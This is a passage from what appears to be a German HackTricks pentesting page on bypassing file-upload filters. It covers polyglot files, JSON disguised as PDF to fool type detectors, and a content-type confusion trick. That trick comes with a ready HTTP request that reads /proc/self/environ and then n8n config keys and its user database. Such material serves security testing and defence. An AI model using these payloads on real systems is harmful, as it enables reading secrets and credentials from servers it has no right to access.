Der zentrale Nutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Übliche Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen für Uploads zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko potenziell gefährlicher Formate (z. B. JS, PHP oder Phar) zu mindern. Ein Polyglot kann jedoch durch die Einhaltung der strukturellen Kriterien mehrerer Dateitypen diese Einschränkungen unbemerkt umgehen.

Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Grenzen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und eine JPEG darstellen, doch der erfolgreiche Upload kann von den Richtlinien der Plattform bezüglich erlaubter Dateiendungen abhängen. Wenn das System strikt bei erlaubten Extensions ist, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.

Mehr Informationen unter: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus this blog post):

  • mmmagic library: Solange die %PDF magic bytes in den ersten 1024 Bytes sind, ist sie gültig (Beispiel im Post)
  • pdflib library: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die Library denkt, es sei ein PDF (Beispiel im Post)
  • file binary: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als dieser Wert, sodass es den Inhalt nicht als JSON parsen kann, und füge dann im JSON den Anfang eines echten PDF ein — dann hält es das für ein PDF

Content-Type confusion to arbitrary file read

Manche Upload-Handler trust the parsed request body (z. B. context.getBodyData().files) und copy the file from file.filepath ohne zuvor Content-Type: multipart/form-data durchzusetzen. Akzeptiert der Server application/json, kannst du ein gefälschtes files-Objekt liefern, das filepath auf any local path zeigt, wodurch der Upload-Flow zu einem arbitrary file read primitive wird.

Beispiel-POST gegen einen Formular-Workflow, der das hochgeladene Binary in der HTTP-Antwort zurückgibt:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Das Backend kopiert file.filepath, sodass die Antwort den Inhalt dieses Pfads zurückgibt. Übliche Kette: /proc/self/environ auslesen, um $HOME zu ermitteln, dann $HOME/.n8n/config für keys und $HOME/.n8n/database.sqlite für Benutzeridentifikatoren.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks